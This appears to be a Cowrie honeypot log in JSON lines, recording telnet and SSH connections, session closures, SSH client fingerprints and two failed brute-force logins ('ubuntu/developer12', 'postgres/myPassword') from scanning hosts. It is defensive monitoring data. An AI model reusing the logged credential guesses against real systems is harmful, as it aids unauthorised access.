{"eventid":"cowrie.session.closed","duration":31.195027828216553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:20.994691Z","src_ip":"23.111.140.22","session":"506172e06bc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882997035980225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:21.459782Z","src_ip":"23.111.140.22","session":"6f21d069744c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59032,"dst_ip":"10.17.0.5","dst_port":23,"session":"451d1e5c294c","protocol":"telnet","message":"New connection: 23.111.140.22:59032 (10.17.0.5:23) [session: 451d1e5c294c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:21.632342Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"60edbe6c7200","protocol":"telnet","message":"New connection: 23.111.140.22:36606 (10.17.0.5:23) [session: 60edbe6c7200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:23.632752Z"}
{"eventid":"cowrie.session.closed","duration":23.819626569747925,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:23.919103Z","src_ip":"23.111.140.22","session":"9240c2ad8f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36126,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23d52c1f62e","protocol":"telnet","message":"New connection: 23.111.140.22:36126 (10.17.0.5:23) [session: a23d52c1f62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:24.482643Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fb726b6001e","protocol":"telnet","message":"New connection: 23.111.140.22:39954 (10.17.0.5:23) [session: 3fb726b6001e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:24.777696Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a033c640253","protocol":"telnet","message":"New connection: 23.111.140.22:36456 (10.17.0.5:23) [session: 9a033c640253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:25.956242Z"}
{"eventid":"cowrie.session.closed","duration":0.041117191314697266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:25.997170Z","src_ip":"23.111.140.22","session":"9a033c640253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226619958877563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:28.062118Z","src_ip":"23.111.140.22","session":"a5dca62e4106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50490,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c2d639b112","protocol":"telnet","message":"New connection: 23.111.140.22:50490 (10.17.0.5:23) [session: 63c2d639b112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:28.472529Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47160,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc66b73e00f7","protocol":"telnet","message":"New connection: 23.111.140.22:47160 (10.17.0.5:23) [session: bc66b73e00f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:30.371442Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57292,"dst_ip":"10.17.0.5","dst_port":23,"session":"8370e02ca514","protocol":"telnet","message":"New connection: 23.111.140.22:57292 (10.17.0.5:23) [session: 8370e02ca514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:30.764648Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54564,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b241379c51","protocol":"telnet","message":"New connection: 23.111.140.22:54564 (10.17.0.5:23) [session: 57b241379c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:30.806202Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59778,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3a77cf4127","protocol":"telnet","message":"New connection: 23.111.140.22:59778 (10.17.0.5:23) [session: bc3a77cf4127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:31.616724Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59872,"dst_ip":"10.17.0.5","dst_port":23,"session":"352108cbf20f","protocol":"telnet","message":"New connection: 23.111.140.22:59872 (10.17.0.5:23) [session: 352108cbf20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:31.655562Z"}
{"eventid":"cowrie.session.closed","duration":32.69153642654419,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:32.186892Z","src_ip":"23.111.140.22","session":"1eff074d2311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97095966339111,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:32.437263Z","src_ip":"23.111.140.22","session":"f50b820c5e09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34852,"dst_ip":"10.17.0.5","dst_port":23,"session":"27808e896239","protocol":"telnet","message":"New connection: 23.111.140.22:34852 (10.17.0.5:23) [session: 27808e896239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:32.761569Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52594,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74bd6d23ada","protocol":"telnet","message":"New connection: 174.138.46.234:52594 (159.203.135.109:23) [session: d74bd6d23ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:33.923913Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52904,"dst_ip":"159.203.135.109","dst_port":23,"session":"76ab85130c85","protocol":"telnet","message":"New connection: 174.138.46.234:52904 (159.203.135.109:23) [session: 76ab85130c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:34.068871Z"}
{"eventid":"cowrie.session.closed","duration":33.335618019104004,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:34.248305Z","src_ip":"23.111.140.22","session":"8af9e440f8fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52104,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1468ef9ab69","protocol":"telnet","message":"New connection: 174.138.46.234:52104 (159.203.135.109:23) [session: d1468ef9ab69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:34.471368Z"}
{"eventid":"cowrie.session.closed","duration":31.815938711166382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:34.476987Z","src_ip":"23.111.140.22","session":"e44c713a29c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"54dcd8842f18","protocol":"telnet","message":"New connection: 23.111.140.22:47372 (10.17.0.5:23) [session: 54dcd8842f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:35.682882Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40684,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6ead4b40e4","protocol":"telnet","message":"New connection: 23.111.140.22:40684 (10.17.0.5:23) [session: 8b6ead4b40e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:35.853317Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":35158,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc240fcf5ca","protocol":"ssh","message":"New connection: 202.145.0.61:35158 (10.17.0.5:22) [session: 2fc240fcf5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:36.155567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:36.160357Z","src_ip":"202.145.0.61","session":"2fc240fcf5ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:36.393671Z","src_ip":"202.145.0.61","session":"2fc240fcf5ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.197858810424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:36.727563Z","src_ip":"23.111.140.22","session":"22c2a098b5c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer12","message":"login attempt [ubuntu/developer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:37.359559Z","src_ip":"202.145.0.61","session":"2fc240fcf5ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47906,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eff24920284","protocol":"telnet","message":"New connection: 23.111.140.22:47906 (10.17.0.5:23) [session: 1eff24920284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:37.473273Z"}
{"eventid":"cowrie.session.closed","duration":30.16660189628601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:38.046884Z","src_ip":"23.111.140.22","session":"e6f2426922ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:38.596044Z","src_ip":"202.145.0.61","session":"2fc240fcf5ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.0169596672058105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:38.940703Z","src_ip":"174.138.46.234","session":"d74bd6d23ada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.006602048873901,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:39.477830Z","src_ip":"174.138.46.234","session":"d1468ef9ab69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45594,"dst_ip":"10.17.0.5","dst_port":23,"session":"14780e13803c","protocol":"telnet","message":"New connection: 23.111.140.22:45594 (10.17.0.5:23) [session: 14780e13803c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:41.324439Z"}
{"eventid":"cowrie.session.closed","duration":0.005472421646118164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:41.329797Z","src_ip":"23.111.140.22","session":"14780e13803c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32395124435425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:41.540222Z","src_ip":"23.111.140.22","session":"eb7ce8e67afb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57476,"dst_ip":"10.17.0.5","dst_port":23,"session":"274fd0410483","protocol":"telnet","message":"New connection: 23.111.140.22:57476 (10.17.0.5:23) [session: 274fd0410483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:41.961281Z"}
{"eventid":"cowrie.session.closed","duration":30.922765493392944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:42.097482Z","src_ip":"23.111.140.22","session":"045b65f49386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.271801233291626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:42.144101Z","src_ip":"23.111.140.22","session":"d5e846548599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.359370470047,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:42.884610Z","src_ip":"23.111.140.22","session":"2657739df315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.380099773406982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.146461Z","src_ip":"23.111.140.22","session":"cb3cd2617e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":40870,"dst_ip":"10.17.0.5","dst_port":22,"session":"3adb55be05a4","protocol":"ssh","message":"New connection: 135.235.138.43:40870 (10.17.0.5:22) [session: 3adb55be05a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.204482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.209536Z","src_ip":"135.235.138.43","session":"3adb55be05a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.403202Z","src_ip":"135.235.138.43","session":"3adb55be05a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.793237686157227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.453230Z","src_ip":"23.111.140.22","session":"9c0939751fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.17070508003235,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.652232Z","src_ip":"174.138.46.234","session":"939aa1e317ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e43281b77a","protocol":"telnet","message":"New connection: 23.111.140.22:34414 (10.17.0.5:23) [session: d7e43281b77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.761254Z"}
{"eventid":"cowrie.session.closed","duration":30.86848020553589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:43.792830Z","src_ip":"23.111.140.22","session":"8542d9ed6ac1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"myPassword","message":"login attempt [postgres/myPassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:44.207971Z","src_ip":"135.235.138.43","session":"3adb55be05a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.943698167800903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:44.602807Z","src_ip":"23.111.140.22","session":"ea62b628249b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35556,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8d99b3fcfd","protocol":"telnet","message":"New connection: 23.111.140.22:35556 (10.17.0.5:23) [session: 9b8d99b3fcfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:45.124965Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:45.403226Z","src_ip":"135.235.138.43","session":"3adb55be05a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59276,"dst_ip":"10.17.0.5","dst_port":23,"session":"891d6403323d","protocol":"telnet","message":"New connection: 23.111.140.22:59276 (10.17.0.5:23) [session: 891d6403323d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:48.736219Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54056,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e39cad920b","protocol":"telnet","message":"New connection: 23.111.140.22:54056 (10.17.0.5:23) [session: 29e39cad920b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:49.324167Z"}
{"eventid":"cowrie.session.closed","duration":48.1333384513855,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:50.053538Z","src_ip":"174.138.46.234","session":"90cb86b6db60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54030,"dst_ip":"10.17.0.5","dst_port":23,"session":"440be1a6edaf","protocol":"telnet","message":"New connection: 23.111.140.22:54030 (10.17.0.5:23) [session: 440be1a6edaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:50.318823Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51206,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a59a271176","protocol":"telnet","message":"New connection: 23.111.140.22:51206 (10.17.0.5:23) [session: 80a59a271176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:51.317326Z"}
{"eventid":"cowrie.session.closed","duration":32.71799325942993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:51.453079Z","src_ip":"23.111.140.22","session":"a5a50abd3448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60852,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de921969e97","protocol":"telnet","message":"New connection: 23.111.140.22:60852 (10.17.0.5:23) [session: 6de921969e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:51.619153Z"}
{"eventid":"cowrie.session.closed","duration":32.40470361709595,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:51.804265Z","src_ip":"23.111.140.22","session":"2ab216a268e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.139755964279175,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:52.693797Z","src_ip":"174.138.46.234","session":"89e518fb7878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59410548210144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:53.226330Z","src_ip":"23.111.140.22","session":"451d1e5c294c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124139308929443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:54.756752Z","src_ip":"23.111.140.22","session":"60edbe6c7200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608299732208252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:55.090799Z","src_ip":"23.111.140.22","session":"a23d52c1f62e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"05fbfc0b3a39","protocol":"telnet","message":"New connection: 23.111.140.22:45758 (10.17.0.5:23) [session: 05fbfc0b3a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:56.381529Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46206,"dst_ip":"10.17.0.5","dst_port":23,"session":"149fdd39c672","protocol":"telnet","message":"New connection: 23.111.140.22:46206 (10.17.0.5:23) [session: 149fdd39c672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:56.541346Z"}
{"eventid":"cowrie.session.closed","duration":32.00309085845947,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:56.780686Z","src_ip":"23.111.140.22","session":"3fb726b6001e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45648,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd4b9199eee6","protocol":"telnet","message":"New connection: 23.111.140.22:45648 (10.17.0.5:23) [session: dd4b9199eee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:57.342319Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49100,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e6b6e4ac601","protocol":"telnet","message":"New connection: 23.111.140.22:49100 (10.17.0.5:23) [session: 4e6b6e4ac601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:57.560978Z"}
